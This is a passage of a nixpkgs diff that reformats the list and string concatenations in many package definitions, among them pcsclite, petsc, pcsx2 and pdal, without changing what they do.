+      url = "https://sources.debian.org/data/main/p/pax-britannica/1.0.0-5/debian/patches/compile_for_linux.patch";
+      hash = "sha256-XncjmJrBakz5/w90O6rDif2rWSoAVKzuPEj9wN2VNvQ=";
+    })
+    (fetchpatch {
+      url = "https://sources.debian.org/data/main/p/pax-britannica/1.0.0-5/debian/patches/add_manpage.patch";
+      hash = "sha256-c8O6t0Zv/ln7WiPdbN3sYGsb7SL9Rmeo+94DsjpfgvY=";
+    })
+    (fetchpatch {
+      url = "https://sources.debian.org/data/main/p/pax-britannica/1.0.0-5/debian/patches/load_resources_from_usr_share.patch";
+      hash = "sha256-61Yt4Rq1I/Ofu640XsDDo0il275B+ozqH0Z6P18XT6Q=";
+    })
+    (fetchpatch {
+      url = "https://sources.debian.org/data/main/p/pax-britannica/1.0.0-5/debian/patches/add_desktop_entry.patch";
+      hash = "sha256-QSQEBoCw7KTOLgy7TaFvQRpR17HoggTOCxhfTG+kIOA=";
+    })
+  ]
+  ++ lib.optional useGlfw3 (fetchpatch {
+    url = "https://sources.debian.org/data/main/p/pax-britannica/1.0.0-5/debian/patches/glfw3.patch";
+    hash = "sha256-hj00vnW/i7lxFc4CGlRz6Havkg45gGgIg6MmCXcMsSg=";
+  });
   postPatch = ''
     substituteInPlace Makefile \
       --replace-fail '-DEXTRA_LOADERS=\"../extra_loaders.h\"' '-DEXTRA_LOADERS=\\\"../extra_loaders.h\\\"'
diff --git a/pkgs/by-name/pb/pb_cli/package.nix b/pkgs/by-name/pb/pb_cli/package.nix
index bed3937b1d11..b89e33bb5930 100644
--- a/pkgs/by-name/pb/pb_cli/package.nix
+++ b/pkgs/by-name/pb/pb_cli/package.nix
@@ -30,14 +30,13 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ makeWrapper ];
 
-  liveDeps =
-    [
-      jq
-      curl
-    ]
-    ++ lib.optional screenshots maim
-    ++ lib.optional video capture
-    ++ lib.optional clipboard xclip;
+  liveDeps = [
+    jq
+    curl
+  ]
+  ++ lib.optional screenshots maim
+  ++ lib.optional video capture
+  ++ lib.optional clipboard xclip;
 
   installPhase = ''
     install -Dm755 src/pb.sh $out/bin/pb
diff --git a/pkgs/by-name/pc/pc-ble-driver/package.nix b/pkgs/by-name/pc/pc-ble-driver/package.nix
index e7bce66d8175..11b34275b776 100644
--- a/pkgs/by-name/pc/pc-ble-driver/package.nix
+++ b/pkgs/by-name/pc/pc-ble-driver/package.nix
@@ -35,13 +35,12 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  cmakeFlags =
-    [
-      "-DNRF_BLE_DRIVER_VERSION=${version}"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      "-DARCH=arm64"
-    ];
+  cmakeFlags = [
+    "-DNRF_BLE_DRIVER_VERSION=${version}"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    "-DARCH=arm64"
+  ];
 
   nativeBuildInputs = [
     cmake
@@ -53,13 +52,12 @@ stdenv.mkDerivation rec {
     spdlog
   ];
 
-  propagatedBuildInputs =
-    [
+  propagatedBuildInputs = [
 
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      udev
-    ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    udev
+  ];
 
   meta = with lib; {
     description = "Desktop library for Bluetooth low energy development";
diff --git a/pkgs/by-name/pc/pcaudiolib/package.nix b/pkgs/by-name/pc/pcaudiolib/package.nix
index 32f31d8fbfc0..10ea21b2e38d 100644
--- a/pkgs/by-name/pc/pcaudiolib/package.nix
+++ b/pkgs/by-name/pc/pcaudiolib/package.nix
@@ -33,12 +33,11 @@ stdenv.mkDerivation (finalAttrs: {
     which
   ];
 
-  buildInputs =
-    [
-      portaudio
-    ]
-    ++ lib.optional stdenv.hostPlatform.isLinux alsa-lib
-    ++ lib.optional pulseaudioSupport libpulseaudio;
+  buildInputs = [
+    portaudio
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux alsa-lib
+  ++ lib.optional pulseaudioSupport libpulseaudio;
 
   # touch ChangeLog to avoid below error on darwin:
   # Makefile.am: error: required file './ChangeLog.md' not found
diff --git a/pkgs/by-name/pc/pcem/package.nix b/pkgs/by-name/pc/pcem/package.nix
index 249c3cdcb947..287e7b31c952 100644
--- a/pkgs/by-name/pc/pcem/package.nix
+++ b/pkgs/by-name/pc/pcem/package.nix
@@ -36,12 +36,14 @@ stdenv.mkDerivation rec {
     SDL2
     openal
     gtk3
-  ] ++ lib.optional withALSA alsa-lib;
+  ]
+  ++ lib.optional withALSA alsa-lib;
 
-  configureFlags =
-    [ "--enable-release-build" ]
-    ++ lib.optional withNetworking "--enable-networking"
-    ++ lib.optional withALSA "--enable-alsa";
+  configureFlags = [
+    "--enable-release-build"
+  ]
+  ++ lib.optional withNetworking "--enable-networking"
+  ++ lib.optional withALSA "--enable-alsa";
 
   # Fix GCC 14 build
   env.NIX_CFLAGS_COMPILE = "-Wno-error=implicit-function-declaration -Wno-error=incompatible-pointer-types";
diff --git a/pkgs/by-name/pc/pciutils/package.nix b/pkgs/by-name/pc/pciutils/package.nix
index 8224369d0992..6a779933176b 100644
--- a/pkgs/by-name/pc/pciutils/package.nix
+++ b/pkgs/by-name/pc/pciutils/package.nix
@@ -26,7 +26,8 @@ stdenv.mkDerivation rec {
   buildInputs = [
     which
     zlib
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ kmod ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ kmod ];
 
   preConfigure = lib.optionalString (!stdenv.cc.isGNU) ''
     substituteInPlace Makefile --replace 'CC=$(CROSS_COMPILE)gcc' ""
diff --git a/pkgs/by-name/pc/pcl/package.nix b/pkgs/by-name/pc/pcl/package.nix
index 7d5caeeecf81..21856ccebff7 100644
--- a/pkgs/by-name/pc/pcl/package.nix
+++ b/pkgs/by-name/pc/pcl/package.nix
@@ -51,7 +51,8 @@ stdenv.mkDerivation (finalAttrs: {
     cmake
     libsForQt5.wrapQtAppsHook
     pkg-config
-  ] ++ lib.optionals cudaSupport [ cudaPackages.cuda_nvcc ];
+  ]
+  ++ lib.optionals cudaSupport [ cudaPackages.cuda_nvcc ];
 
   buildInputs = [
     eigen
diff --git a/pkgs/by-name/pc/pcmciaUtils/package.nix b/pkgs/by-name/pc/pcmciaUtils/package.nix
index d6707a89d39e..7fd706caac1d 100644
--- a/pkgs/by-name/pc/pcmciaUtils/package.nix
+++ b/pkgs/by-name/pc/pcmciaUtils/package.nix
@@ -30,20 +30,19 @@ stdenv.mkDerivation rec {
     flex
   ];
 
-  patchPhase =
-    ''
-      sed -i "
-        s,/sbin/modprobe,${kmod}&,;
-        s,/lib/udev/,$out/sbin/,;
-        s,__UDEVHELPERDIR__/,$out/lib/udev/,;
-      " udev/* # fix-color */
-      sed -i "
-        s,/lib/firmware,$out&,;
-        s,/etc/pcmcia,$out&,;
-      " src/{startup.c,pcmcia-check-broken-cis.c} # fix-color */
-    ''
-    + (lib.optionalString (firmware == [ ]) ''sed -i "s,STARTUP = true,STARTUP = false," Makefile'')
-    + (lib.optionalString (configOpts != null) "ln -sf ${configOpts} ./config/config.opts");
+  patchPhase = ''
+    sed -i "
+      s,/sbin/modprobe,${kmod}&,;
+      s,/lib/udev/,$out/sbin/,;
+      s,__UDEVHELPERDIR__/,$out/lib/udev/,;
+    " udev/* # fix-color */
+    sed -i "
+      s,/lib/firmware,$out&,;
+      s,/etc/pcmcia,$out&,;
+    " src/{startup.c,pcmcia-check-broken-cis.c} # fix-color */
+  ''
+  + (lib.optionalString (firmware == [ ]) ''sed -i "s,STARTUP = true,STARTUP = false," Makefile'')
+  + (lib.optionalString (configOpts != null) "ln -sf ${configOpts} ./config/config.opts");
 
   makeFlags = [ "LEX=flex" ];
   installFlags = [
diff --git a/pkgs/by-name/pc/pcsc-tools/package.nix b/pkgs/by-name/pc/pcsc-tools/package.nix
index 6b724185b9c4..1dbdcb1df6c3 100644
--- a/pkgs/by-name/pc/pcsc-tools/package.nix
+++ b/pkgs/by-name/pc/pcsc-tools/package.nix
@@ -50,72 +50,70 @@ stdenv.mkDerivation (finalAttrs: {
     ]
     ++ lib.optional systemdSupport systemd;
 
-  nativeBuildInputs =
-    [
-      autoconf-archive
-      autoreconfHook
-      makeWrapper
-      pkg-config
-    ]
-    ++ lib.optionals withGui [
-      gobject-introspection
-      wrapGAppsHook3
-    ];
+  nativeBuildInputs = [
+    autoconf-archive
+    autoreconfHook
+    makeWrapper
+    pkg-config
+  ]
+  ++ lib.optionals withGui [
+    gobject-introspection
+    wrapGAppsHook3
+  ];
 
   preFixup = ''
     makeWrapperArgs+=("''${gappsWrapperArgs[@]}")
   '';
 
-  postInstall =
-    ''
-      wrapProgram $out/bin/scriptor \
-        --set PERL5LIB "${
-          with perlPackages;
-          makePerlPath [
-            ChipcardPCSC
-            libintl-perl
-          ]
-        }"
+  postInstall = ''
+    wrapProgram $out/bin/scriptor \
+      --set PERL5LIB "${
+        with perlPackages;
+        makePerlPath [
+          ChipcardPCSC
+          libintl-perl
+        ]
+      }"
 
-    ''
-    + lib.optionalString withGui ''
-      wrapProgram $out/bin/gscriptor \
-        ''${makeWrapperArgs[@]} \
-        --set PERL5LIB "${
-          with perlPackages;
-          makePerlPath [
-            ChipcardPCSC
-            libintl-perl
-            GlibObjectIntrospection
-            Glib
-            Gtk3
-            Pango
-            Cairo
-            CairoGObject
-          ]
-        }"
-    ''
-    + ''
+  ''
+  + lib.optionalString withGui ''
+    wrapProgram $out/bin/gscriptor \
+      ''${makeWrapperArgs[@]} \
+      --set PERL5LIB "${
+        with perlPackages;
+        makePerlPath [
+          ChipcardPCSC
+          libintl-perl
+          GlibObjectIntrospection
+          Glib
+          Gtk3
+          Pango
+          Cairo
+          CairoGObject
+        ]
+      }"
+  ''
+  + ''
 
-      wrapProgram $out/bin/ATR_analysis \
-        --set PERL5LIB "${
-          with perlPackages;
-          makePerlPath [
-            ChipcardPCSC
-            libintl-perl
-          ]
-        }"
+    wrapProgram $out/bin/ATR_analysis \
+      --set PERL5LIB "${
+        with perlPackages;
+        makePerlPath [
+          ChipcardPCSC
+          libintl-perl
+        ]
+      }"
 
-      wrapProgram $out/bin/pcsc_scan \
-        --prefix PATH : "$out/bin:${
-          lib.makeBinPath [
-            coreutils
-            wget
-          ]
-        }"
+    wrapProgram $out/bin/pcsc_scan \
+      --prefix PATH : "$out/bin:${
+        lib.makeBinPath [
+          coreutils
+          wget
+        ]
+      }"
 
-      install -Dm444 -t $out/share/pcsc smartcard_list.txt
-    '';
+    install -Dm444 -t $out/share/pcsc smartcard_list.txt
+  '';
 
   passthru = {
     tests.version = testers.testVersion {
diff --git a/pkgs/by-name/pc/pcsclite/package.nix b/pkgs/by-name/pc/pcsclite/package.nix
index b90cedf109b1..552df8b13486 100644
--- a/pkgs/by-name/pc/pcsclite/package.nix
+++ b/pkgs/by-name/pc/pcsclite/package.nix
@@ -52,41 +52,39 @@ stdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  mesonFlags =
-    [
-      (lib.mesonOption "sysconfdir" "/etc")
-      # The OS should care on preparing the drivers into this location
-      (lib.mesonOption "usbdropdir" "/var/lib/pcsc/drivers")
-      (lib.mesonBool "libsystemd" systemdSupport)
-      (lib.mesonBool "polkit" polkitSupport)
-      (lib.mesonOption "ipcdir" "/run/pcscd")
-    ]
-    ++ lib.optionals systemdSupport [
-      (lib.mesonOption "systemdunit" "system")
-    ]
-    ++ lib.optionals (!udevSupport) [
-      (lib.mesonBool "libudev" false)
-    ];
+  mesonFlags = [
+    (lib.mesonOption "sysconfdir" "/etc")
+    # The OS should care on preparing the drivers into this location
+    (lib.mesonOption "usbdropdir" "/var/lib/pcsc/drivers")
+    (lib.mesonBool "libsystemd" systemdSupport)
+    (lib.mesonBool "polkit" polkitSupport)
+    (lib.mesonOption "ipcdir" "/run/pcscd")
+  ]
+  ++ lib.optionals systemdSupport [
+    (lib.mesonOption "systemdunit" "system")
+  ]
+  ++ lib.optionals (!udevSupport) [
+    (lib.mesonBool "libudev" false)
+  ];
 
   # disable building pcsc-wirecheck{,-gen} when cross compiling
   # see also: https://github.com/LudovicRousseau/PCSC/issues/25
-  postPatch =
-    ''
-      substituteInPlace src/libredirect.c src/spy/libpcscspy.c \
-        --replace-fail "libpcsclite_real.so.1" "$lib/lib/libpcsclite_real.so.1"
-    ''
-    + lib.optionalString systemdSupport ''
-      substituteInPlace meson.build \
-        --replace-fail \
-          "systemdsystemunitdir = systemd.get_variable(pkgconfig : 'systemd' + unit + 'unitdir')" \
-          "systemdsystemunitdir = '${placeholder "out"}/lib/systemd/system'"
-    ''
-    + lib.optionalString polkitSupport ''
-      substituteInPlace meson.build \
-        --replace-fail \
-          "install_dir : polkit_dep.get_variable('policydir')" \
-          "install_dir : '${placeholder "out"}/share/polkit-1/actions'"
-    '';
+  postPatch = ''
+    substituteInPlace src/libredirect.c src/spy/libpcscspy.c \
+      --replace-fail "libpcsclite_real.so.1" "$lib/lib/libpcsclite_real.so.1"
+  ''
+  + lib.optionalString systemdSupport ''
+    substituteInPlace meson.build \
+      --replace-fail \
+        "systemdsystemunitdir = systemd.get_variable(pkgconfig : 'systemd' + unit + 'unitdir')" \
+        "systemdsystemunitdir = '${placeholder "out"}/lib/systemd/system'"
+  ''
+  + lib.optionalString polkitSupport ''
+    substituteInPlace meson.build \
+      --replace-fail \
+        "install_dir : polkit_dep.get_variable('policydir')" \
+        "install_dir : '${placeholder "out"}/share/polkit-1/actions'"
+  '';
 
   postInstall = ''
     # pcsc-spy is a debugging utility and it drags python into the closure
@@ -101,13 +99,14 @@ stdenv.mkDerivation (finalAttrs: {
     perl
   ];
 
-  buildInputs =
-    [ python3 ]
-    ++ lib.optionals systemdSupport [ systemdLibs ]
-    ++ lib.optionals (!systemdSupport && udevSupport) [ udev ]
-    ++ lib.optionals dbusSupport [ dbus ]
-    ++ lib.optionals polkitSupport [ polkit ]
-    ++ lib.optionals (!udevSupport) [ libusb1 ];
+  buildInputs = [
+    python3
+  ]
+  ++ lib.optionals systemdSupport [ systemdLibs ]
+  ++ lib.optionals (!systemdSupport && udevSupport) [ udev ]
+  ++ lib.optionals dbusSupport [ dbus ]
+  ++ lib.optionals polkitSupport [ polkit ]
+  ++ lib.optionals (!udevSupport) [ libusb1 ];
 
   passthru = {
     tests = {
diff --git a/pkgs/by-name/pc/pcsx2/package.nix b/pkgs/by-name/pc/pcsx2/package.nix
index 9aaf2bbedb34..6734d5511594 100644
--- a/pkgs/by-name/pc/pcsx2/package.nix
+++ b/pkgs/by-name/pc/pcsx2/package.nix
@@ -80,7 +80,8 @@ llvmPackages.stdenv.mkDerivation (finalAttrs: {
     vulkan-headers
     wayland
     zstd
-  ] ++ cubeb.passthru.backendLibs;
+  ]
+  ++ cubeb.passthru.backendLibs;
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/pd/pdal/package.nix b/pkgs/by-name/pd/pdal/package.nix
index c48bf2584bdd..9251c1c55125 100644
--- a/pkgs/by-name/pd/pdal/package.nix
+++ b/pkgs/by-name/pd/pdal/package.nix
@@ -44,27 +44,26 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      curl
-      gdal
-      hdf5-cpp
-      laszip
-      libgeotiff
-      libtiff
-      libxml2
-      openscenegraph
-      libpq
-      proj
-      sqlite
-      tiledb
-      xercesc
-      zlib
-      zstd
-    ]
-    ++ lib.optionals enableE57 [
-      libe57format
-    ];
+  buildInputs = [
+    curl
+    gdal
+    hdf5-cpp
+    laszip
+    libgeotiff
+    libtiff
+    libxml2
+    openscenegraph
+    libpq
+    proj
+    sqlite
+    tiledb
+    xercesc
+    zlib
+    zstd
+  ]
+  ++ lib.optionals enableE57 [
+    libe57format
+  ];
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/pd/pdisk/package.nix b/pkgs/by-name/pd/pdisk/package.nix
index 3be86851b2c4..91dfb61b3b3b 100644
--- a/pkgs/by-name/pd/pdisk/package.nix
+++ b/pkgs/by-name/pd/pdisk/package.nix
@@ -44,15 +44,14 @@ stdenv.mkDerivation (finalAttrs: {
     ./cmdline.patch
   ];
 
-  postPatch =
-    ''
-      substituteInPlace makefile \
-        --replace-fail 'cc' '${stdenv.cc.targetPrefix}cc'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace makefile \
-        --replace-fail '-lbsd' '-framework CoreFoundation -framework IOKit'
-    '';
+  postPatch = ''
+    substituteInPlace makefile \
+      --replace-fail 'cc' '${stdenv.cc.targetPrefix}cc'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace makefile \
+      --replace-fail '-lbsd' '-framework CoreFoundation -framework IOKit'
+  '';
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/pd/pdns-recursor/package.nix b/pkgs/by-name/pd/pdns-recursor/package.nix
index ceae53962ea0..125c5110c118 100644
--- a/pkgs/by-name/pd/pdns-recursor/package.nix
+++ b/pkgs/by-name/pd/pdns-recursor/package.nix
@@ -50,7 +50,8 @@ stdenv.mkDerivation (finalAttrs: {
     luajit
     libsodium
     curl
-  ] ++ lib.optional enableProtoBuf protobuf;
+  ]
+  ++ lib.optional enableProtoBuf protobuf;
 
   configureFlags = [
     "--enable-reproducible"
diff --git a/pkgs/by-name/pe/peakperf/package.nix b/pkgs/by-name/pe/peakperf/package.nix
index b9d958f155f0..19a2e76a50da 100644
--- a/pkgs/by-name/pe/peakperf/package.nix
+++ b/pkgs/by-name/pe/peakperf/package.nix
@@ -23,15 +23,14 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-CoGWj+zskcv8caFjhy55GKTKqFq2y1/nMjiVc6TzU1c=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      installShellFiles
-    ]
-    ++ lib.optionals enableCuda [
-      cudaPackages.cuda_nvcc
-      autoAddDriverRunpath
-    ];
+  nativeBuildInputs = [
+    cmake
+    installShellFiles
+  ]
+  ++ lib.optionals enableCuda [
+    cudaPackages.cuda_nvcc
+    autoAddDriverRunpath
+  ];
 
   buildInputs = lib.optionals enableCuda [
     cudaPackages.cuda_cudart
diff --git a/pkgs/by-name/pe/peazip/package.nix b/pkgs/by-name/pe/peazip/package.nix
index 78cc0b2ae3bd..f3b94a8fc68b 100644
--- a/pkgs/by-name/pe/peazip/package.nix
+++ b/pkgs/by-name/pe/peazip/package.nix
@@ -37,14 +37,13 @@ stdenv.mkDerivation rec {
     fpc
   ];
 
-  buildInputs =
-    [
-      xorg.libX11
-    ]
-    ++ (with qt6Packages; [
-      qtbase
-      libqtpas
-    ]);
+  buildInputs = [
+    xorg.libX11
+  ]
+  ++ (with qt6Packages; [
+    qtbase
+    libqtpas
+  ]);
 
   NIX_LDFLAGS = "--as-needed -rpath ${lib.makeLibraryPath buildInputs}";
 
diff --git a/pkgs/by-name/pe/persepolis/package.nix b/pkgs/by-name/pe/persepolis/package.nix
index 2be96d8ecc32..46f0cdce81da 100644
--- a/pkgs/by-name/pe/persepolis/package.nix
+++ b/pkgs/by-name/pe/persepolis/package.nix
@@ -49,19 +49,18 @@ python3.pkgs.buildPythonApplication rec {
     "\${qtWrapperArgs[@]}"
   ];
 
-  propagatedBuildInputs =
-    [
-      pulseaudio
-      sound-theme-freedesktop
-    ]
-    ++ (with python3.pkgs; [
-      psutil
-      pyqt5
-      requests
-      setproctitle
-      setuptools
-      yt-dlp
-    ]);
+  propagatedBuildInputs = [
+    pulseaudio
+    sound-theme-freedesktop
+  ]
+  ++ (with python3.pkgs; [
+    psutil
+    pyqt5
+    requests
+    setproctitle
+    setuptools
+    yt-dlp
+  ]);
 
   meta = with lib; {
     description = "Download manager GUI written in Python";
diff --git a/pkgs/by-name/pe/persistent-cache-cpp/package.nix b/pkgs/by-name/pe/persistent-cache-cpp/package.nix
index ac8c0c7c6a4e..6dddbf8f10cb 100644
--- a/pkgs/by-name/pe/persistent-cache-cpp/package.nix
+++ b/pkgs/by-name/pe/persistent-cache-cpp/package.nix
@@ -52,22 +52,21 @@ stdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  postPatch =
-    ''
-      # Wrong concatenation
-      substituteInPlace data/libpersistent-cache-cpp.pc.in \
-        --replace "\''${prefix}/@CMAKE_INSTALL_LIBDIR@" "\''${prefix}/lib"
+  postPatch = ''
+    # Wrong concatenation
+    substituteInPlace data/libpersistent-cache-cpp.pc.in \
+      --replace "\''${prefix}/@CMAKE_INSTALL_LIBDIR@" "\''${prefix}/lib"
 
-      # Runs in parallel to other tests, limit to 1 thread
-      substituteInPlace tests/headers/compile_headers.py \
-        --replace 'multiprocessing.cpu_count()' '1'
+    # Runs in parallel to other tests, limit to 1 thread
+    substituteInPlace tests/headers/compile_headers.py \
+      --replace 'multiprocessing.cpu_count()' '1'
 
-      sed '1i#include <iomanip>' \
-        -i tests/core/persistent_string_cache/speed_test.cpp
-    ''
-    + lib.optionalString finalAttrs.finalPackage.doCheck ''
-      patchShebangs tests/{headers,whitespace}/*.py
-    '';
+    sed '1i#include <iomanip>' \
+      -i tests/core/persistent_string_cache/speed_test.cpp
+  ''
+  + lib.optionalString finalAttrs.finalPackage.doCheck ''
+    patchShebangs tests/{headers,whitespace}/*.py
+  '';
 
   nativeBuildInputs = [
     cmake
diff --git a/pkgs/by-name/pe/petsc/package.nix b/pkgs/by-name/pe/petsc/package.nix
index 7d067f7566fa..70dd0883a750 100644
--- a/pkgs/by-name/pe/petsc/package.nix
+++ b/pkgs/by-name/pe/petsc/package.nix
@@ -120,37 +120,35 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      python3
-      gfortran
-      pkg-config
-      bison
-    ]
-    ++ lib.optional mpiSupport mpi
-    ++ lib.optionals pythonSupport [
-      python3Packages.setuptools
-      python3Packages.cython
-    ];
+  nativeBuildInputs = [
+    python3
+    gfortran
+    pkg-config
+    bison
+  ]
+  ++ lib.optional mpiSupport mpi
+  ++ lib.optionals pythonSupport [
+    python3Packages.setuptools
+    python3Packages.cython
+  ];
 
-  buildInputs =
-    [
-      petscPackages.blas
-      petscPackages.lapack
-    ]
-    ++ lib.optional withZlib zlib
-    ++ lib.optional withHdf5 petscPackages.hdf5
-    ++ lib.optional withP4est petscPackages.p4est
-    ++ lib.optional withMetis petscPackages.metis
-    ++ lib.optional withParmetis petscPackages.parmetis
-    ++ lib.optional withPtscotch petscPackages.scotch
-    ++ lib.optional withScalapack petscPackages.scalapack
-    ++ lib.optional withMumps petscPackages.mumps
-    ++ lib.optional withHypre petscPackages.hypre
-    ++ lib.optional withSuperLu petscPackages.superlu
-    ++ lib.optional withSuperLuDist petscPackages.superlu_dist
-    ++ lib.optional withFftw petscPackages.fftw
-    ++ lib.optional withSuitesparse petscPackages.suitesparse;
+  buildInputs = [
+    petscPackages.blas
+    petscPackages.lapack
+  ]
+  ++ lib.optional withZlib zlib
+  ++ lib.optional withHdf5 petscPackages.hdf5
+  ++ lib.optional withP4est petscPackages.p4est
+  ++ lib.optional withMetis petscPackages.metis
+  ++ lib.optional withParmetis petscPackages.parmetis
+  ++ lib.optional withPtscotch petscPackages.scotch
+  ++ lib.optional withScalapack petscPackages.scalapack
+  ++ lib.optional withMumps petscPackages.mumps
+  ++ lib.optional withHypre petscPackages.hypre
+  ++ lib.optional withSuperLu petscPackages.superlu
+  ++ lib.optional withSuperLuDist petscPackages.superlu_dist
+  ++ lib.optional withFftw petscPackages.fftw
+  ++ lib.optional withSuitesparse petscPackages.suitesparse;
 
   propagatedBuildInputs = lib.optional pythonSupport python3Packages.numpy;
 
@@ -167,46 +165,45 @@ stdenv.mkDerivation (finalAttrs: {
       --replace-fail "/usr/bin/env bash" "${bash}/bin/bash"
   '';
 
-  configureFlags =
-    [
-      "--with-blaslapack=1"
-      "--with-scalar-type=${scalarType}"
-      "--with-precision=${precision}"
-      "--with-mpi=${if mpiSupport then "1" else "0"}"
-    ]
-    ++ lib.optionals (!mpiSupport) [
-      "--with-cc=${stdenv.cc}/bin/${if stdenv.cc.isGNU then "gcc" else "clang"}"
-      "--with-cxx=${stdenv.cc}/bin/${if stdenv.cc.isGNU then "g++" else "clang++"}"
-      "--with-fc=${gfortran}/bin/gfortran"
-    ]
-    ++ lib.optionals mpiSupport [
-      "--with-cc=${lib.getDev mpi}/bin/mpicc"
-      "--with-cxx=${lib.getDev mpi}/bin/mpicxx"
-      "--with-fc=${lib.getDev mpi}/bin/mpif90"
-    ]
-    ++ lib.optionals (!debug) [
-      "--with-debugging=0"
-      "COPTFLAGS=-O3"
-      "FOPTFLAGS=-O3"
-      "CXXOPTFLAGS=-O3"
-      "CXXFLAGS=-O3"
-    ]
-    ++ lib.optional (!fortranSupport) "--with-fortran-bindings=0"
-    ++ lib.optional pythonSupport "--with-petsc4py=1"
-    ++ lib.optional withMetis "--with-metis=1"
-    ++ lib.optional withParmetis "--with-parmetis=1"
-    ++ lib.optional withPtscotch "--with-ptscotch=1"
-    ++ lib.optional withScalapack "--with-scalapack=1"
-    ++ lib.optional withMumps "--with-mumps=1"
-    ++ lib.optional (withMumps && !mpiSupport) "--with-mumps-serial=1"
-    ++ lib.optional withP4est "--with-p4est=1"
-    ++ lib.optional withZlib "--with-zlib=1"
-    ++ lib.optional withHdf5 "--with-hdf5=1"
-    ++ lib.optional withHypre "--with-hypre=1"
-    ++ lib.optional withSuperLu "--with-superlu=1"
-    ++ lib.optional withSuperLuDist "--with-superlu_dist=1"
-    ++ lib.optional withFftw "--with-fftw=1"
-    ++ lib.optional withSuitesparse "--with-suitesparse=1";
+  configureFlags = [
+    "--with-blaslapack=1"
+    "--with-scalar-type=${scalarType}"
+    "--with-precision=${precision}"
+    "--with-mpi=${if mpiSupport then "1" else "0"}"
+  ]
+  ++ lib.optionals (!mpiSupport) [
+    "--with-cc=${stdenv.cc}/bin/${if stdenv.cc.isGNU then "gcc" else "clang"}"
+    "--with-cxx=${stdenv.cc}/bin/${if stdenv.cc.isGNU then "g++" else "clang++"}"
+    "--with-fc=${gfortran}/bin/gfortran"
+  ]
+  ++ lib.optionals mpiSupport [
+    "--with-cc=${lib.getDev mpi}/bin/mpicc"
+    "--with-cxx=${lib.getDev mpi}/bin/mpicxx"
+    "--with-fc=${lib.getDev mpi}/bin/mpif90"
+  ]
+  ++ lib.optionals (!debug) [
+    "--with-debugging=0"
+    "COPTFLAGS=-O3"
+    "FOPTFLAGS=-O3"
+    "CXXOPTFLAGS=-O3"
+    "CXXFLAGS=-O3"
+  ]
+  ++ lib.optional (!fortranSupport) "--with-fortran-bindings=0"
+  ++ lib.optional pythonSupport "--with-petsc4py=1"
+  ++ lib.optional withMetis "--with-metis=1"
+  ++ lib.optional withParmetis "--with-parmetis=1"
+  ++ lib.optional withPtscotch "--with-ptscotch=1"
+  ++ lib.optional withScalapack "--with-scalapack=1"
+  ++ lib.optional withMumps "--with-mumps=1"
+  ++ lib.optional (withMumps && !mpiSupport) "--with-mumps-serial=1"
+  ++ lib.optional withP4est "--with-p4est=1"
+  ++ lib.optional withZlib "--with-zlib=1"
+  ++ lib.optional withHdf5 "--with-hdf5=1"
+  ++ lib.optional withHypre "--with-hypre=1"
+  ++ lib.optional withSuperLu "--with-superlu=1"
+  ++ lib.optional withSuperLuDist "--with-superlu_dist=1"
+  ++ lib.optional withFftw "--with-fftw=1"
+  ++ lib.optional withSuitesparse "--with-suitesparse=1";
 
   hardeningDisable = lib.optionals debug [
     "fortify"
@@ -253,14 +250,13 @@ stdenv.mkDerivation (finalAttrs: {
   # This test fails on the Darwin platform but is rarely a common use case for petsc4py.
   installCheckFlags = lib.optional stdenv.hostPlatform.isDarwin "PETSC4PY=no";
 
-  nativeInstallCheckInputs =
-    [
-      mpiCheckPhaseHook
-    ]
-    ++ lib.optionals pythonSupport [
-      python3Packages.pythonImportsCheckHook
-      python3Packages.unittestCheckHook
-    ];
+  nativeInstallCheckInputs = [
+    mpiCheckPhaseHook
+  ]
+  ++ lib.optionals pythonSupport [
+    python3Packages.pythonImportsCheckHook
+    python3Packages.unittestCheckHook
+  ];
 
   unittestFlagsArray = [
     "-s"
@@ -281,21 +277,20 @@ stdenv.mkDerivation (finalAttrs: {
         petsc = finalAttrs.finalPackage;
       }
     );
-    tests =
-      {
-        serial = petsc.override {
-          mpiSupport = false;
-        };
-      }
-      // lib.optionalAttrs stdenv.hostPlatform.isLinux {
-        fullDeps = petsc.override {
-          withFullDeps = true;
-          withParmetis = false;
-        };
-        mpich = petsc.override {
-          mpi = mpich;
-        };
+    tests = {
+      serial = petsc.override {
+        mpiSupport = false;
       };
+    }
+    // lib.optionalAttrs stdenv.hostPlatform.isLinux {
+      fullDeps = petsc.override {
+        withFullDeps = true;
+        withParmetis = false;
+      };
+      mpich = petsc.override {
+        mpi = mpich;
+      };
+    };
   };
 
   setupHook = ./setup-hook.sh;
diff --git a/pkgs/by-name/pf/pfft/package.nix b/pkgs/by-name/pf/pfft/package.nix
index 356c00ab84c0..36d3043c5615 100644
--- a/pkgs/by-name/pf/pfft/package.nix
+++ b/pkgs/by-name/pf/pfft/package.nix
@@ -42,7 +42,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   configureFlags = [
     "--enable-portable-binary"
-  ] ++ lib.optional (precision != "double") "--enable-${precision}";
+  ]
+  ++ lib.optional (precision != "double") "--enable-${precision}";
 
   buildInputs = lib.optional stdenv.cc.isClang llvmPackages.openmp;
 
diff --git a/pkgs/by-name/pg/pgagroal/package.nix b/pkgs/by-name/pg/pgagroal/package.nix
